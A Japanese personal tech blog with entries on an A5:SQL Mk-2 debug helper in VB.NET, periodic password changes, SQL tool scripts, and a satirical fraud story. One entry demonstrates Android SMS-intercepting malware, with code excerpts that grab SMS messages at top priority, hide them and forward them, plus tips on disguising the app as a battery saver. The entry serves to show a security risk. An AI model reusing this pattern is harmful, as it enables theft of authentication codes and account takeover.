pochi-pの絵日記

2016-10-05 ADO.NETとA5:SQL Mk-2の仲良しデバッグ

[]ADO.NETとA5:SQL Mk-2の仲良しデバッグ ADO.NETとA5:SQL Mk-2の仲良しデバッグを含むブックマーク

A5:SQL Mk-2を勝手に応援を勝手に応援シリーズ第二弾です。


普段は『自作の「SQL Server sp_executesql stripper for A5:SQL Mk-2」+SQL Server Profiler』と「A5:SQL Mk-2 スクリプト - 流星墓場」で公開されてる「SetParameterジェネレータ」で事足りてるんだけど、SQLServer以外でもC#/VB.NET上のデバッグ時にいつもの擬似命令付きSQLを取得できるようにとやっつけでコード書いてみました。


対応パラメータ形式は現状名前付き(NamedParameterだっけ?)パラメータのみです。ODBCドライバOracleの標準プロバイダを選んだ際の

INSERT INTO TBL1 (col1, col2) VALUES (?, ?)

の記法はまだ対応してません。

確かSystem.Data.SqlClient、System.Data.SQLite、Oracleの拡張プロバイダ(みたいなのがあった気がする)辺りなら

INSERT INTO TBL1 (col1, col2) VALUES (@col1, @col2)

で書けた筈です。


では早速デバッグ用コードをば…。十分なテストをしてないβ版なので取扱いに注意ください。

    'v0.0.1 手抜きβVer 
    'v0.0.2 2回目βVer
    '  Null値対応してない大ポカを修正
    '  DateTimeとTimeの秒とミリ秒の区切りの修正
    '  末尾にSQL区切り";"の出力を追加(A5:SQL Mk-2上なら";;"とかなってても平気なので)
    'v0.0.3 βVer
    '  時刻は24時間表記する時"HH"と大文字にしないとね…。orz
    ''' <summary>
    ''' 使用例
    '''     Dim cmd As New System.Data.SqlClient.SqlCommand()
    '''     cmd.Connection = connectionObject
    '''     cmd.CommandText = "INSERT INTO TBL1 (col1, col2) VALUES (@col1, @col2)"
    '''     cmd.Parameters.Add("@col1", System.Data.SqlDbType.VarChar).Value = "ABC"
    '''     cmd.Parameters.Add("@col2", System.Data.SqlDbType.Int).Value = 1
    '''
    '''     Debug.Print(a5m2cmdParse(cmd)) '実行直前にデバッグ出力
    '''     cmd.ExecuteNonQuery()
    ''' </summary>
    ''' <param name="dbcmd">System.Data.IDbCommandを実装してる???Commandのインスタンス</param>
    ''' <returns>A5:SQL Mk-2でパラメータ設定付で実行する為の文字列 </returns>
    Public Shared Function a5m2cmdParse(ByVal dbcmd As System.Data.IDbCommand) As String
        Dim sb As New System.Text.StringBuilder()
        sb.Length = 0
        For Each p As System.Data.IDataParameter In dbcmd.Parameters
            Dim a5name As String = p.ParameterName.Substring(1)
            Dim a5val As String = String.Empty
            Dim a5type As String = "String"
            Dim isNullValue As Boolean = False
            If IsNothing(p.Value) OrElse IsDBNull(p.Value) Then
                isNullValue = True
            End If
            Select Case p.DbType
                Case DbType.Int16, DbType.Int32, DbType.Int64
                    a5type = "Integer"
                    a5val = If(isNullValue, "NULL", CInt(p.Value).ToString())
                Case DbType.UInt16, DbType.UInt32
                    a5type = "Integer"
                    a5val = If(isNullValue, "NULL", CInt(p.Value).ToString())
                Case DbType.UInt64
                    'a5type = "Integer"
                    a5type = "Currency" '擬似命令でUint64指定が出来ないのでCurrencyで代替
                    a5val = If(isNullValue, "NULL", CDec(p.Value).ToString())
                Case DbType.Decimal
                    a5type = "Currency"
                    a5val = If(isNullValue, "NULL", CDec(p.Value).ToString())
                Case DbType.Byte, DbType.Byte
                    a5type = "Short"
                    a5val = If(isNullValue, "NULL", CShort(p.Value).ToString())
                Case DbType.Single, DbType.Double
                    a5type = "Float"
                    a5val = If(isNullValue, "NULL", CDbl(p.Value).ToString())
                Case DbType.Date
                    a5type = "Date"
                    a5val = If(isNullValue, "NULL", "'" & CDate(p.Value).ToString("yyyy/MM/dd") & "'")
                Case DbType.DateTime, DbType.DateTime2
                    a5type = "DateTime"
                    a5val = If(isNullValue, "NULL", "'" & CDate(p.Value).ToString("yyyy/MM/dd HH:mm:ss.fff") & "'")
                Case DbType.Time
                    a5type = "Time"
                    a5val = If(isNullValue, "NULL", "'" & CDate(p.Value).ToString("HH:mm:ss.fff") & "'")
                Case DbType.AnsiString, DbType.AnsiStringFixedLength, DbType.String, DbType.StringFixedLength
                    a5val = If(isNullValue, "NULL", "'" & CStr(p.Value).Replace("'", "''") & "'")
                    a5type = "String"

                    'Case DbType.Boolean
                    '    'DB毎に実装違いそう

                    '他はもう面倒
                    'Case DbType.Binary
                    'Case DbType.Guid
                    'Case DbType.Object
                    'Case DbType.VarNumeric
                    'Case DbType.Xml
                Case Else
                    a5val = If(isNullValue, "NULL", "'" & (p.Value.ToString()).Replace("'", "''") & "'")
                    a5type = "String"
            End Select
            sb.AppendLine("--*SetParameter " & a5name & " " & a5val & " " & a5type)
        Next
        sb.AppendLine(dbcmd.CommandText)
        sb.AppendLine(";") '区切り追加
        Return sb.ToString()
    End Function

(C#版が欲しいならILSpyでも使って逆コンパイルしてください!)

呼び出し方は

Dim cmd As New System.Data.SqlClient.SqlCommand()
cmd.Connection = connectionObject
cmd.CommandText = "INSERT INTO TBL1 (col1, col2) VALUES (@col1, @col2)"
cmd.Parameters.Add("@col1", System.Data.SqlDbType.VarChar).Value = "ABC"
cmd.Parameters.Add("@col2", System.Data.SqlDbType.Int).Value = 1

Debug.Print(a5m2cmdParse(cmd)) '<-ここ
cmd.ExecuteNonQuery()

の様にSQLもパラメータもセットしおわったSqlCommand等のインスタンス*1を渡して結果文字列を取得するだけです。簡単ですね!

ではデバッグは皆に任せた!

*1: System.Data.IDbCommandインターフェースを実装してる*Commandなら基本何でも可

トラックバック - http://d.hatena.ne.jp/pochi-p/20161005

2016-08-07 定期的なパスワード変更の効果有無まとめ

[]定期的なパスワード変更の効果有無まとめ 定期的なパスワード変更の効果有無まとめを含むブックマーク

自由研究の季節

夏です。今年もまた自由研究の季節がやってきました。何年か前にパスワード定期変更云々という夏休みの自由研究をやりました。このエントリは総当たりに対する防御の視点で書かれたものです。

今回は「総当たり対策」以外の視点でパスワードの定期的変更の効果を検証します。

このまとめは気が向いたらテキトーに項目を追加&編集していきます。まだまだ完成版ではありません。

大前提

ユーザーが自主的に定期的変更するのもいいが、パスワードに関してはまず設定可能文字数を大きくする・使用可能文字種を増やすのが最初の一歩です。

・サイト側がユーザーに定期的変更を強制すると、ユーザーは結果的に強度の弱いパスワードを使いがちなので強制は良くない。*1

・サイト側での保存方法には必ずハッシュ化+ソルト+ストレッチングを設け、秘密の質問の様なゴミは使わない事。

・変更タイミングの基本は

とします。その上で例外的にイベントドリブンの変更が有効なケースの洗い出せれば良いんじゃないかと。

まとめ

とりあえず表形式で書いていこうと思います。

基本「定期的変更より効果のある対策」がある場合は、まずそちらを最優先で対策していくべきです。それをせずに定期的変更を推奨する輩はハイクを読んで頂きたいと思います。イヤーッ!

効果がない事例
事例メモ定期的変更より効果のある対策
他サイト等と同じパスワードを共有しているアカウント 共有中の全アカウントを定期的変更するのは非現実的 そもそも使い回しをしない!
暗号化zipファイル等のパスワード 前回保存した前回のパスワードで暗号化されたファイルを入手されれば全く意味が無い。 ベストアンサーは難しいが、最初から十分な強度のパスワードを設定する、PGP/GnuPG等で設定する、TrueCryptの様なダミーコンテナが利用できるものを併用する辺りが考えられる?
一般的なオンラインバンキングアカウント 攻撃成功時の金銭利益が大きい為、パスワード入手後管理者に気付かれないうちに攻撃者が時間をかけず攻撃する可能性が高い*2 二要素認証ログインアラート通知、設定変更通知メール、アカウントアクティビティ表示、誤入力時のアカウントロック取引通知メール
RMTや他ユーザーにアイテム譲渡が可能なオンラインゲームアカウント 二要素認証、ログインアラート通知、設定変更通知メール、アカウントアクティビティ表示、誤入力時のアカウントロック
OpenID等の他サイトログインに利用しているアカウント 定期的変更によるメリットは通常より高いが、対策方法や効果の限界は通常のアカウントと変わらない二要素認証、ログインアラート通知、設定変更通知メール、アカウントアクティビティ表示、誤入力時のアカウントロック
ストーキングの意味が少ないSNSWebサービスアカウント 二要素認証、ログインアラート通知、設定変更通知メール、アカウントアクティビティ表示、誤入力時のアカウントロック
効果がある時もあるが運任せ過ぎてあるとは言い難い事例
事例メモ定期的変更より効果のある対策
RMTもアイテム譲渡も不可でストーキングの意味もないオンラインゲームアカウント 攻撃者がアカウント削除等悪戯目的であれば削除までにパスワード変更が間に合う可能性は現実的でない。 二要素認証、ログインアラート通知、設定変更通知メール、アカウントアクティビティ表示、誤入力時のアカウントロック
効果がある事例
事例メモ定期的変更より効果のある対策
ストーキングする意味があるSNSやオンラインゲーム 二要素認証、ログインアラート通知、設定変更通知メール、アカウントアクティビティ表示、誤入力時のアカウントロック
ストーキングする意味があるメールアカウント(Webメール)つきまといだけでなく、パスワードリセットや二要素認証に使われているメールアカウントも含む 二要素認証、ログインアラート通知、設定変更通知メール、アカウントアクティビティ表示、誤入力時のアカウントロック
ストーキングする意味があるPOP3やIMAP4のメールアカウントPOP3/IMAPでアクセス可能なWebメールも含む。つきまといだけでなく、パスワードリセットや二要素認証に使われているメールアカウントも含む。 プロトコル上対策が難しい?? 情報求む!!
継続して社外秘情報を剽窃する事に利益のある社内ネットワーク/PCのアカウント 外部からの侵入を防ぐネットワーク構成、リモート操作をさせないセキュリティパッチ適用マルウェア感染を防ぐセキュリティ対策や実行ソフト制限
確実に口座残高が時間経過で膨らむ人のオンラインバンキング入出金明細をいちいちチェックしてる攻撃者に限る 二要素認証、ログインアラート通知、設定変更通知メール、アカウントアクティビティ表示、誤入力時のアカウントロック、取引通知メール
化石の様な前時代のシステム /etc/passwdにパスワードを格納しているタイプ さっさとリプレイスしろ!

補足

なお『定期的変更タイミング < 攻撃者がパスワードを入手してから攻撃を開始するまでの時間』の図式が期待し辛いものは、運任せ以前のものとして『効果がない』にまとめていこうと思います。何故なら『ではどれぐらいの頻度で定期的に変更すべきか?』の結論を出さない限り、そもそも左辺右辺の比較のしようが出来ないからです。

また『『攻撃者がパスワードを入手してから攻撃を開始するまでの時間』は比較的長い』という主張をするには、『攻撃を遅らせると攻撃者の利益が増える』前提でもない限り性善説(?)頼み過ぎる為ひとまず「効果がない」または「効果がある時もあるが運任せ過ぎてあるとは言い難い事例」に入れていきます。

「こういうのも追加していこう!」「こういう代わりの対策があるよ!」という情報があれば、コメント欄等でご連絡頂ければありがたいです。

*1http://security.srad.jp/story/16/06/27/2030224/

*2:時間をかけるとすれば送金先口座の準備や口座残高の多いアカウントの抽出が考えられるが、前者は前もって準備可能だし後者も下手に怪しいアクセスを増やしてサイトに気付かれるリスクを犯してまでやる価値があるかは疑問なところ。

keijitakedakeijitakeda 2016/08/09 21:27 ツイートで指摘しましたがこちらに反映されないのでコメントにも書いておきます。
「攻撃成功時の金銭的利益が大きい為、パスワード入手後管理者に気付かれないうちに攻撃者が時間をかけず攻撃する可能性が高い」の根拠が怪しいと思われます。
同様のインセンティブが働くクレジットカード番号の悪用は時間をかけて行われるケースが多く確認されていますし被害の発生期間も長期にわたり継続することがわかっています。ですのでこの仮説には無理があると思われます。

pochi-ppochi-p 2016/08/13 00:26 > keijitakeda さん
えー、指摘は見てますがどう書き直すのが正解か決めかねて、現状そこはこのままで放置かなと考えています。
放置な理由としては次の3点の心配&モヤモヤがある為です。

(1)「長期的で少額ずつの攻撃」にて二つの方向性が考えられること。「沢山のアカウントから少額ずつ」or「少数のアカウントからそれなりの額ずつ」の方法がとれ、後者かつ最初のアカウントで選ばれた場合『攻撃者が時間をかけず攻撃する可能性が高い』寄りになる。

(2)記載内容がワーストケースで大げさ表現とも言えるが、少額ずつの被害もベストケース過ぎてどちらを前提にしても偏った内容になってしまう点。かつ攻撃者の手法が恒久的に変わらない訳でもない。だったらワーストケースで書く方が将来的にマシかなというモヤモヤ。

(3)「長期的な少額被害」が、必ずしも万人にとっての少額とはならない。あくまで『攻撃可能金額に比して少額』なだけで、1万円でも盗まれたら不渡りで死ぬとか家賃払えずホームレスとか。これもケースバイケースとなる為、ワーストケースで警告する方がエントリとして良心的なのではというモヤモヤ。


とりあえず指摘されてる箇所についてはこの様な理由から、現状維持でいこうと思います。色々スッキリした際書き直すかもしれません。


あとクレジットカードとオンラインバンキングはあくまで似て非なるものなので、クレカ被害の傾向だけを元に修正するってのも何か違う気がしました。

トラックバック - http://d.hatena.ne.jp/pochi-p/20160807

2015-09-24 A5:SQL Mk-2を勝手に応援

[]A5:SQL Mk-2を勝手に応援 A5:SQL Mk-2を勝手に応援を含むブックマーク

A5:SQL Mk-2が超便利です。かなりお世話になってます。みんなも使うときっと幸せになれるよ!

このエントリは適当に色々書き連ねていく場所で、多分あとから加筆修正しまくります。

別エントリでも色々書きました。 ADO.NETとA5:SQL Mk-2の仲良しデバッグ

SQLServerのsp_executesqlの実行文を、普通のSQLと擬似命令の記述へ変換するWebアプリ&A5:SQL Mk-2用スクリプト

こちらダウンロードページ件Javascirpt版デモページを用意しています。

詳細説明は省くけど、見たらだいたい分かりますよね!

DMonkeyスクリプト版をA5:SQL Mk-2で実行したらこんな風にストリップした内容がエディタトップ(または選択範囲のトップ)に追加されます。

f:id:pochi-p:20151011164955p:image

f:id:pochi-p:20151114131144p:image

2015/11/14 ver0.0.3から元のsqlをコメントアウトして出力するようになりました。

2016/04/28 ver0.0.4からSQLServer Management Studio(SSMS)上でもdeclare文で似た事が出来る様に、オマケのコメントを出力するようになりました。スクリーンショットは更新してませんが、サンプルデモを実行して頂ければどんな感じか分かるかなと……。

(これで簡易秀丸マクロの出番はなくなりますたん…)

設定中の全パラメータを擬似命令としてエクスポートするスクリプト

f:id:pochi-p:20151011170356p:image

これを……

f:id:pochi-p:20151011170357p:image

こうする。それだけの単純なスクリプトです。

DLはこちらから→。 SQLパラメーター一括出力

32bit版と64bit版、または別PC上のA5:SQL Mk-2、もしくはportable版等と相互にパラメータ設定を引っ越したい時に使えます。逆に言うとあまり普段使い向けのスクリプトではありません。

普段のSQL編集時であれば、動きの大雑把な拙作スクリプトよりも、流星墓場で公開されている「SetParameterジェネレータ」がとても便利なのでオススメです♪ こちらはSQL文中の未定義パラメータについても仮組みの枠を作ってくれるので、すごく作業が捗ると思います。


開いてるタブのタイトル≒ファイル名を一括出力するスクリプト

A5:SQL Mk-2で現在開いているウィンドウのタイトル名(≒ファイル名)を一括でエクスポートするスクリプトです。SQLエディタを開いていれば先頭行に出力。それ以外は確認の上クリップボードにコピーします。

「タブはたくさん開いてなんぼや!」な主義の人向け。A5:SQL Mk-2で「ブラウザとかの前回のタブ復元」みたいに動作してるのに普段頼り切って、何十何百とタブを開いている方(私とか)だと「A5:SQL Mk-2が正常終了出来なかった為、開いていたタブに何があったか、どのパスに入れたファイルを開いていたかが分からない!」なんて事態に偶によく遭遇します。それに備えて、ファイルの情報を控えておこうって目的で作りました。

f:id:pochi-p:20151206004815p:image

折角なので「同じファイルを複数タブで開いていたら警告を出す」機能も付けました。開くだけだったら何も問題無いのですけど、同時に編集しちゃうとどっちがどっちか分からなくなる時があるので、トラブル回避の為に情報が知りたかったんですね。

f:id:pochi-p:20151206003532p:image

DLはこちらから→。 Tab-Title Export

ちなみに通常動作時はどこに"Query-???"な新規ファイルを保管してるか分かんないですけど、PortableモードでA5:SQL Mk-2を動かすとディレクトリの分かりやすい所に実ファイルが出来るので探すのが楽です。(逐次名前付けて保存すべきでしょうが)


開いてるアクティブタブのタイトル≒ファイル名をクリップボードへコピーするスクリプト

アクティブなエディタタブの開いているファイル名っぽいものをクリップボードに取得します。

1行程度で書ける内容なので需要はないかな…。

DLはこちらから→。 Tabタイトルをクリップボードにコピー


SQLServerのsp_executesql用パラメータを擬似命令の記述へ変換する簡易秀丸マクロ

「SQLServerのsp_executesqlの実行文を、普通のSQLと擬似命令の記述へ変換するWebアプリ&A5:SQL Mk-2用スクリプト」が出来たからサヨナラです。

2014-07-21 LINE(電話)とSMS認証の話

[][]LINE(電話)とSMS認証の話 LINE(電話)とSMS認証の話を含むブックマーク

以前当ブログでは、LINE電話問題をネタにしてエイプリルフール記事を書きました。

その際LINEをモデルとした『通話アプリL』にて認証SMSをマルウェア経由で盗まれるシナリオを書きました。

『通話アプリL』登録時に藤田口关さんのスマホで認証SMSを受け取り、不正アプリがそのSMS内容を犯人に転送&隠蔽して『通話アプリL』の登録を完了していた。

http://d.hatena.ne.jp/pochi-p/20140401#p1

上記は架空の悪用シナリオですが、実際にそんな事が可能かどうかピンと来ない人もいるでしょう。*1 という訳で…


SMS転送&隠蔽するマルウェアを作ってみたよ!

自分でマルウェアを作って動作確認してみました。

最初このブログに実際に動くプログラムをUpしようかと当初思ってましたが、不正指令電磁的記録の「配布」や、犯罪要件となる「作成」になる恐れがある*2為要点の解説と画面キャプチャだけ掲載する事にしました。


マルウェア作成のポイントはこれだけです。

  • SMS受信のブロードキャストを受けるReceiverを用意。priorityの指定を最高値に。
  • 特定条件下でSMSを隠蔽&転送。他アプリに対してSMSを隠蔽する際はBroadcastReceiver#abortBroadcast()を呼ぶだけ。
  • Receiverで受け取ったSMSを転送する処理するは別途Serviceで実装。(IntentServiceでもOK)
  • 別途コントロールするWEBアプリを用意。

部分的にソースを抜粋すると以下の様な感じです。

AndroidManifest.xmlの抜粋

<receiver android:name="SmsYokodoriReceiver">
    <intent-filter android:priority="2147483647">
        <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
    </intent-filter>
</receiver>

SmsYokodoriReceiver.javaの抜粋

Bundle bundle = intent.getExtras();
Object messages[] = (Object[]) bundle.get("pdus");
// 略
Intent serviceIntent = new Intent(context.getApplicationContext(), SmsTensouService.class);
serviceIntent.putExtra("pdus", messages);
context.startService(serviceIntent);
abortBroadcast(); // ブロードキャストを破棄する。「アプリのみんなにはナイショだよ!」

上記のような記述が出来ればOKなので、作成難易度はEASYだと思います。(というかすでにそういうマルウェアって沢山出てます *3

WEBアプリ側もPHPでGET/POSTパラメーター取ってsqlite3読み書きしてhtmljsonの出力するだけです。



SMS転送&隠蔽するマルウェアを動かしてみるよ!

まずはマルウェアのインストールです。こちらは電話番号(=SMS宛先)を勝手に使われる被害者側のスマホに入れます。

内容は「電池長持ち!」とかの名前にして小さく注意書きに「個人の感想であり、効果には個人差があります」と書いておけば何人かは騙されるでしょう。*4

f:id:pochi-p:20140721204445p:image:w180,h320

↑マルウェアの使用する権限です。

大手アプリベンダーのお陰でどんな権限も黙認してインストールさせるのが(分からない人にとっての)常識とされてしまってるので、これくらいの権限も気にならないでしょう

続きを読む

*1:約1ヶ月でLINE電話の仕様は変更されましたが、その間に実際にこれが悪用されたかどうかは分かりません。

*2: 参考 http://takagi-hiromitsu.jp/diary/20061022.html

*3モバイルマルウェアを用い2要素認証のコードを盗む手口に注意 http://www.itmedia.co.jp/enterprise/articles/1404/18/news045.html http://securityblog.jp/news/20140428.html ユーザーを騙してSMSマルウェアをインストールさせるベトナム語のアダルトアプリ http://ascii.jp/elem/000/000/863/863130/ Android.FakeLookout テクニカルノート | シマンテック 日本 http://www.symantec.com/ja/jp/security_response/writeup.jsp?docid=2012-101919-2128-99&tabid=2

*4:だって公式キャリアセキュリティ会社が(以下略

2014-04-01 架空音声合成ソフトの声優家族、振り込め詐欺被害に

[][][][]架空音声合成ソフトの声優家族、振り込め詐欺被害に 架空音声合成ソフトの声優家族、振り込め詐欺被害にを含むブックマーク

架空声優の藤田口关(ふじたこうしょう)さんのご家族が、振り込め詐欺被害にあったそうです。

f:id:pochi-p:20140401001126p:image

藤田口关さんは架空音声合成ソフト「ネ刃音ミクDEYO(ねはねみくデヨー)」の中の人として有名な方ですが、今回犯人は「ネ刃音ミクDEYO」で作成した合成音声を使って家族を騙し通したそうです。幸い犯人グループはすぐ逮捕され、被害額も全額取り戻すことが出来ました。

逮捕された犯人グループの供述によると、あらかじめ個人情報搾取する不正アプリを「電池長持ち」等と偽って配布し、その不正アプリ被害者の一人であった藤田口关さんのスマートフォンから電話帳・通話履歴・通話音声(短時間)・メールデータ・スケジュール情報等を盗み出したそうです。盗み出した情報から藤田口关さんが有名声優である事を特定し、あらかじめ「ネ刃音ミクDEYO」で特定の会話音声を作成して藤田口关さんの家族に電話をしたとの事。犯行タイミングも藤田口关さんがスマートフォンを使わないタイミングを調査の上狙いすましたという。


「先輩声優が重度の難病にかかり、すぐ治療しないとあと2週間持つかどうかも怪しいらしい。海外の治療しか方法は無いが保険がきかないのでとても高額だ。今先輩の家族や声優仲間で金策に走っていて、有難い事にファンからのカンパも集まってるらしい。でもまだ目標額には届かない状態。必ず返すので今余裕のある分だけでも貸してくれないか。カンパ口座教えるのでそこに振り込んで欲しい、振込額は後で私が働いて返すから」という嘘のシナリオで相談し、想定パターンにない状況では嗚咽や「どうしよう」等の台詞で時間稼ぎをし、その間に新たな合成音声をリアルタイム作成していたそうだ。

先輩声優の病気やファンからのカンパの信憑性を上げる為、電話の後に先輩声優所属事務所の偽サイトアドレス書かれたSMSを藤田口关さんのスマホから不正アプリが送りつけ、架空のニュースリリースやカンパページに誘導までする徹底ぶりだったらしい。デフォルト設定で「URL入りのSMSを迷惑メール扱いする」事業者もあるが、ご家族の携帯電話はデフォルト設定がそうなっていない携帯電話会社のものと電話帳のメールアドレスから特定され、またご家族も設定の事を知らずデフォルト設定のままだったようだ。


ご家族の携帯電話に通知された電話番号は、藤田口关さんの携帯電話と見かけ上同じ番号が表示されていた。大手通話アプリ「LINI三(えるあいえぬあいさん)」(以下『通話アプリL』とする)の電話機能*1を悪用し、『通話アプリL』登録時に藤田口关さんのスマホで認証SMSを受け取り、不正アプリがそのSMS内容を犯人に転送&隠蔽して『通話アプリL』の登録を完了していた。この為犯人が『通話アプリL』からご家族の携帯電話へ発信する際、藤田口关さんの携帯電話からの着信の様に表示されてしまったのだ。なお藤田口关さんは『通話アプリL』を使っていない為、開発会社が言うような「不正される可能性は極めて低い! それに本人が気付きますから!(キリッ)」という主張は空回りに終わったようだ。


藤田口关さんのご家族は「いつもウチの子が『あの先輩が私の目標。私はまだまだだけど、これからも同じ業界のライバルとして認められるよう頑張っていきたい』とよく話していて、大事な先輩だという話を聞かされていた。先輩もウチの子を妹分のように可愛がってくれていて、何度か対面した事もある。その先輩が難病にかかったらウチの子は取り乱して当然だと疑問に思わずお金を振り込んでしまった。ウチの子の個人口座宛なら把握しているので騙されなかったかもしれないが、別名義の口座だったので疑問に思えなかった」とコメントしている。


バーチャルセキュリティ専門家の高木喬(こうききょう)さんにこの件で取材をしたところ

  • 公式マーケットの審査も不正アプリを排除しきれていない。スマホアプリの権限確認が周知されておらず、何より大手アプリが本来不必要な権限まで過剰に要求している為「こういう権限を要求するアプリは入れない」というのが難しい現状。単なる広告の為だけに必要以上の権限やプライバシー情報を収集しているのも横行しており問題だ。広告の為だけならUUID以上を要求すべきでない。
  • 「電池長持ち」アプリ等は通信キャリアが広告を流していたりする為たちが悪い。類似品と正規品の違いも分かり辛い。省電力設定はOSやキャリアのプリインアプリだけで完結させて追加インストールさせない風潮が望ましいだろう。
  • 『通話アプリL』が認証時の番号と同じ番号のスマホ上でしか通知しない制限があれば問題は少なかったかもしれないが、そんな制限は設けられていない。これは設計ミスではないか。050番号を使いたくないからといってこの実装は妥当と思えない。
  • 『通話アプリL』の電話発信機能より以前にも、海外のコールバックサービスが問題になる事例が何件か報告されていたようだ。現在は一部の携帯電話会社だけが「非通知/通知不可能」となっているが、将来的に他社も追随してくる可能性もある。『通話アプリL』が何もせず現状維持であれば、いずれ『通話アプリL』からの発信は全て「非通知/通知不可能」となり、ユーザーイメージも低下してしまうだろう。皆他の050利用サービスに移行していくかもしれない。
  • 音声合成ソフトは将来的に「本人から若干の音声を録音」しただけで本人音声をほぼ全て再現出来るようになるだろう。今回は架空音声合成ソフト「ネ刃音ミクDEYO」の声優が狙われた訳だが、単なる一般人でも会話を録音される事で同じ被害に遭う可能性がありえる。今後は家族かどうかを判断するには「声が同じか」ではなく家族同士を認証するやりとり*2で判断していくべきだろう。ソフトの進化を待たずとも、詐欺師は「人力VOCALOID」技術*3や高度なモノマネ技術を使って詐欺を実行可能だ。

等のコメントを頂いた。

なお取材時には額に「喬」と書かれた紙を貼っており、ハマチの照り焼きをハンガーに吊るして石斧を延々投げつけていて何だか怖かった*4。バーチャルセキュリティの専門家よりセキュリティの専門家に取材した方が良かったかもしれない。

幸い同様の事件は筆者の夢の中でしか聞いた事がないので、現実でこんなニュースを耳にしない事を願いたい。

*1IP電話ベース+αで廉価に電話をかけるサービス。『通話アプリL』から通常の電話回線にかけれるのが売りであるが、『通話アプリL』が利用スマホと同じ電話番号を本来使えないところを、『認証済み電話番号と同じ番号』で着信通知する仕組みをもっている。しかしシンプルに言うとただの番号偽装であるので、安全寄りに設定している回線業者ではこれを正当な番号通知とは見做さない。

*2:参考『振り込め詐欺対策として、本人認証を導入しましょう(Gmail風)』 http://d.hatena.ne.jp/pochi-p/20121230#p1

*3:「人力VOCALOID」詐欺の一例。 http://www.nicovideo.jp/watch/sm212890 D 被害者の精神的ダメージが心配だ。

*4:「架空の高橋さん」の正体に関する考察→ http://b.hatena.ne.jp/pochi-p/20140314#bookmark-186229066